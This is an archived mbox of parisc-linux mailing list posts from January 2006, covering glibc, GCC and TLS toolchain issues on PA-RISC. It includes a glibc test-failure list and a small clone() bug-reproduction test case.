X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oeOyYx8IeSEkJL6WZHQhaXN1IGRvb0Dy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23344


Anybody know why mozilla doesn't work on parisc but firefox does?

I did my standard Xnest test to make sure my environment could run all
the standard tools and network applications.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nscd: error while loading shared libraries:
	unexpected reloc type 0x42
Date: Sat, 7 Jan 2006 18:48:38 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20060107234838.GR17559@baldric.uwo.ca>
References: <200512262147.jBQLlKKP018323@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623982 17819 80.91.229.3 (22 Nov 2014 02:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:48:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 08 Jan 2006 00:48:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71F257D81E;
	Sat,  7 Jan 2006 16:48:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28299-09; Sat, 7 Jan 2006 16:48:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEE637D81F;
	Sat,  7 Jan 2006 16:48:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3103B7D81A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:48:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28290-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:48:45 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8F1677D819
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:48:45 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvNna-0006WW-00; Sat, 07 Jan 2006 18:48:38 -0500
Content-Disposition: inline
In-Reply-To: <200512262147.jBQLlKKP018323@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MjayY69ZeSEkbr6WZHQhaXN1IGRvb0DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23345

On Mon, Dec 26, 2005 at 04:47:20PM -0500, John David Anglin wrote:
> I'm seeing the following error in the boot log:
> 
> Fri Nov 25 04:59:01 2005: Starting Name Service Cache Daemon: nscd/usr/sbin/nscd
> : error while loading shared libraries: unexpected reloc type 0x42
> Fri Nov 25 04:59:02 2005: .
> 
> I think this is a R_PARISC_PLABEL21L reloc.  GCC doesn't generate these.
> So they must come from an asm or assembly code.  I think libc used this
> reloc for loading the address of the function descriptor of main.

This is what happens when GCC starts compiling things with -fpie I
believe. I saw this problem with the -fpie tests.

I have patches for libc to fix this in debian. I'll post these after I
get you to test them ... mmm kay? :)

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 21:28:26 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20060108042826.GA3567@colo.lackof.org>
References: <20060107210757.GM17559@baldric.uwo.ca>
	<200601072241.k07MfqiW020827@hiauly1.hia.nrc.ca>
	<20060107234230.GQ17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623982 17825 80.91.229.3 (22 Nov 2014 02:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 04:19:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 08 Jan 2006 05:19:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 308FF7D86C;
	Sat,  7 Jan 2006 21:19:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32095-01; Sat, 7 Jan 2006 21:19:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E16A17D864;
	Sat,  7 Jan 2006 21:19:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC5467D861
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 21:19:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31927-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 21:19:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 27D477D85F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 21:19:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0A214360010;
	Sat,  7 Jan 2006 21:28:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02391-10; Sat, 7 Jan 2006 21:28:26 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE61C36000F; Sat,  7 Jan 2006 21:28:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060107234230.GQ17559@baldric.uwo.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hPeyY+9eeSEkeL6WZHQhaXN1IGRvb8Au
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23346

On Sat, Jan 07, 2006 at 06:42:30PM -0500, Carlos O'Donell wrote:
...
> > I've given up hope that HP will release their IEEE long double emulation
> > code for PA-RISC.  Although I don't have any hard evidence of bugs in it,
> > there is the suggestion from the ada testsuite run under hpux that there
> > may be bugs in the rounding and exception support.
> 
> I agree, I don't think it will ever be released. If it is released then
> we'll jigger it out some other way :)

Me too. But I wouldn't worry about an ABI event too much.
As long as the only dependency is debian/gentoo packages,
then I think we can tolerate an ABI event like this on the
next OS release if necessary.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Update] TLS toolchain.
Date: Sun, 8 Jan 2006 00:51:10 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <20060108055109.GE17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623982 17828 80.91.229.3 (22 Nov 2014 02:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:42 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 05:51:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 08 Jan 2006 06:51:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD7D67D859;
	Sat,  7 Jan 2006 22:51:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32533-08; Sat, 7 Jan 2006 22:51:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD7957D85B;
	Sat,  7 Jan 2006 22:51:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DE037D856
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 22:51:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32341-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 22:51:11 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8E5AA7D853
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 22:51:11 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EvTSQ-000128-00; Sun, 08 Jan 2006 00:51:10 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AM2yY5YIeSEkQ76WZHQhaXN1IGRvb8B0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23347


Binutils is good to go with a recent merge at 2005-12-10.
GCC is working from our CVS, but the merge is 7 months old and based on
the 4.0.0 release.

GLIBC is merge from 2005-06-08 and I have tls+linuxthreads working
without many failures:
---
make[2]: *** [/glibc/math/atest-exp2.out] Error 136
make[2]: *** [/glibc/math/test-float.out] Error 136
make[2]: *** [/glibc/math/test-double.out] Error 1
make[2]: *** [/glibc/math/test-ifloat.out] Error 136
make[2]: *** [/glibc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/glibc/linuxthreads/tst-attr1.out] Error 1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/glibc/elf/tst-array1.out] Error 1
make[2]: *** [/glibc/elf/tst-array2.out] Error 1
make[2]: *** [/glibc/elf/tst-array3.out] Error 1
make[2]: *** [/glibc/elf/tst-array4.out] Error 1
make[2]: *** [/glibc/elf/tst-array1-static.out] Error 1
make[2]: *** [/glibc/elf/order.out] Error 1
make[2]: *** [/glibc/elf/nodelete2.out] Error 1
make[2]: *** [/glibc/elf/tst-align2.out] Error 1
make[2]: *** [/glibc/elf/order2.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2
---
The FPU code is a bit borked right now and needs review, I tried
incorporating my changes and Daniel's alignment patch but it didn't work
out very well.

The linuxthreads tst-attr1 test is unclassified.

The elf related failures are relatively new and related to binutils.
---

I'm going to run the NPTL build and see how the tests turn out.

Anyone remember what the next step was?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bug in arg checking in clone.S ?
Date: Sun, 8 Jan 2006 02:41:07 -0500
Organization: wh0rd.org
Lines: 76
Approved: news@gmane.org
Message-ID: <200601080241.07960.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_TIMwDehoF7TKqnn"
X-Trace: ger.gmane.org 1416623983 17831 80.91.229.3 (22 Nov 2014 02:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jan 2006 07:40:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 08 Jan 2006 08:40:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68AB77D873;
	Sun,  8 Jan 2006 00:40:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01396-10; Sun, 8 Jan 2006 00:40:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A6367D874;
	Sun,  8 Jan 2006 00:40:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1939A7D871
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 00:40:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01392-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 Jan 2006 00:40:02 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 7C6937D86F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Jan 2006 00:40:02 -0700 (MST)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.54) id 1EvV9l-0004g1-U2
	for parisc-linux@lists.parisc-linux.org; Sun, 08 Jan 2006 07:40:02 +0000
Original-Received: (qmail 7638 invoked from network); 8 Jan 2006 02:38:21 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 8 Jan 2006 02:38:21 -0500
User-Agent: KMail/1.9
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jaSyY6tfeSEkV76WZHQhaXN1IGRvbwCU
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23348

--Boundary-00=_TIMwDehoF7TKqnn
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

for some reason the attached test case (originally from LTP) segfaults on 
glibc/hppa systems ... every other arch ive tested on works fine ...

for example, a good run would be:
$ gcc errno.c -o errno ; ./errno ; echo $?
0

on hppa, i get:
$ gcc errno.c -o errno ; ./errno ; echo $?
Segmentation fault

tested on Debian (glibc 2.3.5-11) and Gentoo (glibc 2.3.4.20040808-r1), both 
fail in the same way:
Program received signal SIGSEGV, Segmentation fault.
0x40538990 in __errno_location () from /lib/libc.so.6
(gdb) bt
#0  0x40538990 in __errno_location () from /lib/libc.so.6
#1  0x40538748 in __libc_start_main () from /lib/libc.so.6
#2  0x00010644 in main ()
-mike

--Boundary-00=_TIMwDehoF7TKqnn
Content-Type: text/x-csrc;
  charset="us-ascii";
  name="errno.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="errno.c"

/* based originally on one the clone tests in the LTP */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sched.h>

int child_fn(void *arg)
{
	fprintf(stderr, "in child_fn\n");
	exit(1);
}

int main(void)
{
	int r_clone, ret_errno;

	r_clone = clone(child_fn, NULL, (int) NULL, NULL);
	ret_errno = errno;
	if (ret_errno != EINVAL || r_clone != -1) {
		fprintf(stderr, "clone: res=%d (wanted -1) errno=%d (wanted %d)\n",
			r_clone, errno, EINVAL);
		return 1;
	}

	return 0;
}

--Boundary-00=_TIMwDehoF7TKqnn
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_TIMwDehoF7TKqnn--



From - Thu Nov 08 21:34:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: strtold
Date: Sat, 7 Jan 2006 18:49:10 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200601072349.k07NnBqA021120@hiauly1.hia.nrc.ca>
References: <20060107234230.GQ17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623983 17834 80.91.229.3 (22 Nov 2014 02:39:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:43 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 23:49:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 08 Jan 2006 00:49:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB5F67D82B;
	Sat,  7 Jan 2006 16:49:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28560-08; Sat, 7 Jan 2006 16:49:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46CB87D827;
	Sat,  7 Jan 2006 16:49:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75D177D81F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:49:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28651-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 16:49:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B3FED7D819
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 16:49:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k07NnBil021122; Sat, 7 Jan 2006 18:49:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07NnBqA021120;
	Sat, 7 Jan 2006 18:49:11 -0500 (EST)
In-Reply-To: <20060107234230.GQ17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 06:42:30 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1jayYzM7eSEkJb6WZHQhaXN1IGRvb4Cg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23349

> I believe it will only require removing the implies line for ldbl-128
> from glibc.

Excellent.

